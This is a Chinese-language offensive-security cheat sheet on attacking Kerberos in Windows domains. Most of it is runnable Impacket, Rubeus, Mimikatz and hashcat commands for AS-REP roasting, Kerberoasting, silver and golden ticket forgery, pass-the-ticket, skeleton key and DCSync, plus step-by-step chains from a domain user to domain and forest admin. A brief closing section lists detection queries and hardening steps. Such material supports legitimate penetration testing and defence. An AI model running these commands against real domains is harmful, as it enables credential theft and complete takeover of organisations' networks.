Kerberos 攻击详解

协议概述

Kerberos 是 Windows 域环境的标准认证协议,提供单点登录 (SSO)。但由于设计复杂,存在多种攻击面。

攻击等级: ⭐⭐⭐⭐⭐
适用场景: 域内渗透、权限提升、横向移动


Kerberos 流程

┌─────────┐      ┌─────────┐      ┌─────────┐
│ Client  │      │   KDC   │      │ Service │
│ (User)  │      │  (DC)   │      │  Server │
└─────────┘      └─────────┘      └─────────┘
     │                │                │
     │ 1. AS-REQ      │                │
     │ (用户身份)      │                │
     │───────────────▶│                │
     │                │                │
     │ 2. AS-REP      │                │
     │ (TGT)          │                │
     │◀───────────────│                │
     │                │                │
     │ 3. TGS-REQ     │                │
     │ (请求服务)      │                │
     │───────────────▶│                │
     │                │                │
     │ 4. TGS-REP     │                │
     │ (ST)           │                │
     │◀───────────────│                │
     │                │                │
     │ 5. AP-REQ      │                │
     │ (访问服务)      │───────────────▶│
     │                │                │
     │                │ 6. 验证 ST      │
     │                │───────────────▶│
     │                │                │

关键组件

缩写 全称 说明
KDC Key Distribution Center 密钥分发中心 (域控)
TGT Ticket Granting Ticket 票据授权票据
ST Service Ticket 服务票据
PAC Privilege Attribute Certificate 权限属性证书

常见攻击手法

1. AS-REP Roasting

原理: 用户未启用预认证,可离线爆破密码哈希。

检测:

# 查找未启用预认证的用户
Get-DomainUser -PreauthNotRequired -Properties distinguishedname

# PowerView
Get-DomainUser -PreauthNotRequired | Select-Object Name

# BloodHound
MATCH (u:User {dontreqpreauth:true}) RETURN u.name

利用:

# 1. 获取 AS-REP 响应
python3 GetNPUsers.py DOMAIN/ -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt

# Impacket
GetNPUsers.py -dc-ip DC_IP -request -outputfile hashes.txt DOMAIN/

# 2. 离线爆破
hashcat -m 18200 asrep_hashes.txt rockyou.txt
john --format=krb5asrep asrep_hashes.txt

2. Kerberoasting

原理: 请求服务票据,离线爆破服务账号密码。

检测:

# 查找可 Kerberoast 的用户
Get-DomainUser -SPN | Select-Object Name,ServicePrincipalName

# PowerView
Get-DomainUser -SPN | Where-Object {$_.Enabled -eq $true}

# BloodHound
MATCH (u:User {hasspn:true}) RETURN u.name

利用:

# 1. 请求服务票据
python3 GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request -outputfile kerberos_hashes.txt

# Impacket
GetUserSPNs.py -dc-ip DC_IP -request DOMAIN/user

# Rubeus
Rubeus.exe kerberoast /outfile:hashes.txt

# 2. 离线爆破
hashcat -m 13100 kerberos_hashes.txt rockyou.txt
john --format=krb5tgs kerberos_hashes.txt

3. Silver Ticket

原理: 伪造服务票据 (需要服务哈希)。

前提:

  • 获取服务账号 NTLM 哈希
  • 知道目标 SPN

利用:

# 生成 Silver Ticket
python3 ticketer.py -nthash HASH -domain-sid SID -domain DOMAIN -spn "CIFS/target.domain.local" victim

# Impacket
ticketer.py -nthash aad3b435b51404eeaad3b435b51404ee:HASH \
  -domain-sid S-1-5-21-XXX \
  -domain DOMAIN \
  -spn "HOST/target.domain.local" \
  administrator

# 使用票据
export KRB5CCNAME=administrator.ccache
python3 psexec.py -k -no-pass DOMAIN/administrator@target.domain.local

4. Golden Ticket

原理: 伪造 TGT 票据 (需要 krbtgt 哈希)。

前提:

  • 获取 krbtgt 账号 NTLM 哈希
  • 知道域 SID

利用:

# 生成 Golden Ticket
python3 ticketer.py -nthash KRBGTG_HASH -domain-sid SID -domain DOMAIN administrator

# Impacket
ticketer.py -nthash aad3b435b51404eeaad3b435b51404ee:KRBGTG_HASH \
  -domain-sid S-1-5-21-XXX \
  -domain DOMAIN \
  -user-id 500 \
  -groups 512,513,518,519,520 \
  administrator

# Rubeus
Rubeus.exe golden /domain:DOMAIN /sid:SID /krbkey:HASH /user:admin

# 使用票据
export KRB5CCNAME=administrator.ccache
python3 psexec.py -k -no-pass DOMAIN/administrator@target.domain.local

5. Pass-the-Ticket (PtT)

原理: 窃取并重放有效票据。

利用:

# 1. 导出票据 (Mimikatz)
sekurlsa::tickets /export

# 2. 注入票据
kerberos::ptt [0;12345]-2-0-60a10000-Administrator@krbtgt-DOMAIN.LOCAL.kirbi

# 3. 访问资源
dir \\DC.DOMAIN.LOCAL\c$

# Linux (Impacket)
export KRB5CCNAME=/path/to/ticket.ccache
python3 psexec.py -k -no-pass DOMAIN/user@target.domain.local

6. Overpass-the-Hash

原理: 用 NTLM 哈希获取 TGT。

利用:

# Mimikatz
sekurlsa::pth /user:admin /domain:DOMAIN /ntlm:HASH /run:powershell

# 在 PowerShell 中
kerberos::ask /target:DOMAIN

# Impacket
python3 getTGT.py -hashes :HASH DOMAIN/administrator
export KRB5CCNAME=administrator.ccache
python3 psexec.py -k -no-pass DOMAIN/administrator@target

7. Skeleton Key

原理: 在 LSASS 中注入万能密钥。

利用:

# Mimikatz (需要管理员权限)
privilege::debug
misc::skeleton

# 使用万能密码
net use \\DC\admin$ /user:admin mimikatz

# 对任何用户都可用 "mimikatz" 登录

8. DCSync

原理: 模拟域控同步,获取所有用户哈希。

前提:

  • 域管理员权限
  • 或 Replicating Directory Changes 权限

利用:

# Mimikatz
lsadump::dcsync /domain:DOMAIN /user:krbtgt

# Impacket
python3 secretsdump.py DOMAIN/administrator:password@DC_IP

# 获取所有用户哈希
python3 secretsdump.py DOMAIN/administrator:password@DC_IP -outputfile ntds

实战案例

案例 1: 从域用户到域管理员

# 1. 初始访问 (钓鱼/漏洞)
# 获得普通域用户权限

# 2. 信息收集
python3 ldapdomaindump.py -u DOMAIN/user -p password DC_IP

# 3. Kerberoasting
python3 GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request

# 4. 爆破服务账号
hashcat -m 13100 hashes.txt rockyou.txt

# 5. 用服务账号权限 DCSync
python3 secretsdump.py DOMAIN/service:password@DC_IP

# 6. 获取 krbtgt 哈希,制作 Golden Ticket
python3 ticketer.py -nthash KRBGTG_HASH -domain-sid SID -domain DOMAIN administrator

# 7. 完全控制域
python3 psexec.py -k -no-pass DOMAIN/administrator@DC

案例 2: 子域到林权限

# 1. 控制子域
# 获取子域域控权限

# 2. 查找林信任
nltest /domain_trusts

# 3. 跨域 DCSync
python3 secretsdump.py CHILD/administrator:password@CHILD_DC

# 4. 获取林根域 krbtgt 哈希
# 通过信任关系

# 5. 制作 Golden Ticket (林根域)
python3 ticketer.py -nthash ROOT_KRBGTG_HASH -domain-sid ROOT_SID -domain ROOT.DOMAIN administrator

# 6. 访问林根域
python3 psexec.py -k -no-pass ROOT.DOMAIN/administrator@ROOT_DC

案例 3: 约束委派攻击

# 1. 查找约束委派
Get-DomainUser -TrustedToAuth | Select-Object Name,msDS-AllowedToDelegateTo

# 2. 获取委派账户权限
# 通过 Kerberoasting 或其他方式

# 3. 模拟用户
Rubeus.exe s4u /user:svc_account /rc4:HASH /domain:DOMAIN /dc:DC /msdsspn:"CIFS/target" /altservice:"CIFS" /ptt

# 4. 访问目标
dir \\target.domain.local\c$

工具

Impacket

# AS-REP Roasting
GetNPUsers.py DOMAIN/ -usersfile users.txt -format hashcat

# Kerberoasting
GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request

# DCSync
secretsdump.py DOMAIN/admin:pass@DC_IP

# 制作票据
ticketer.py -nthash HASH -domain-sid SID -domain DOMAIN user

Rubeus

# Kerberoasting
Rubeus.exe kerberoast /outfile:hashes.txt

# AS-REP Roasting
Rubeus.exe asreproast /outfile:hashes.txt

# 票据操作
Rubeus.exe dump
Rubeus.exe ptt /ticket:ticket.kirbi

# S4U 攻击
Rubeus.exe s4u /user:svc /rc4:HASH /msdsspn:"CIFS/target" /ptt

Mimikatz

# 导出票据
sekurlsa::tickets /export

# 注入票据
kerberos::ptt ticket.kirbi

# DCSync
lsadump::dcsync /domain:DOMAIN /user:krbtgt

# Golden Ticket
kerberos::golden /user:admin /domain:DOMAIN /sid:SID /krbtgt:HASH /ptt

# Skeleton Key
misc::skeleton

防御建议

检测

# 1. 监控异常 Kerberos 活动
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4769} |
  Where-Object {$_.Message -like "*0x10*"}  # 失败日志

# 2. 监控 DCSync
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4662} |
  Where-Object {$_.Message -like "*1131f1aa*"}  # DS-Replication

# 3. 监控票据请求异常
# 同一用户请求大量 TGS
# 非工作时间请求

# 4. BloodHound 分析
# 识别攻击路径

加固

# 1. 启用预认证
Set-DomainUser -Identity user -PreauthNotRequired $false

# 2. 强密码策略
# 服务账号密码 >25 字符

# 3. 限制委派
# 仅必要的账户启用委派

# 4. 监控 krbtgt 访问
# krbtgt 密码每 180 天更换

# 5. 启用 Kerberos AES
# 禁用 RC4

# 6. 最小权限
# 限制 Replicating Directory Changes 权限

参考链接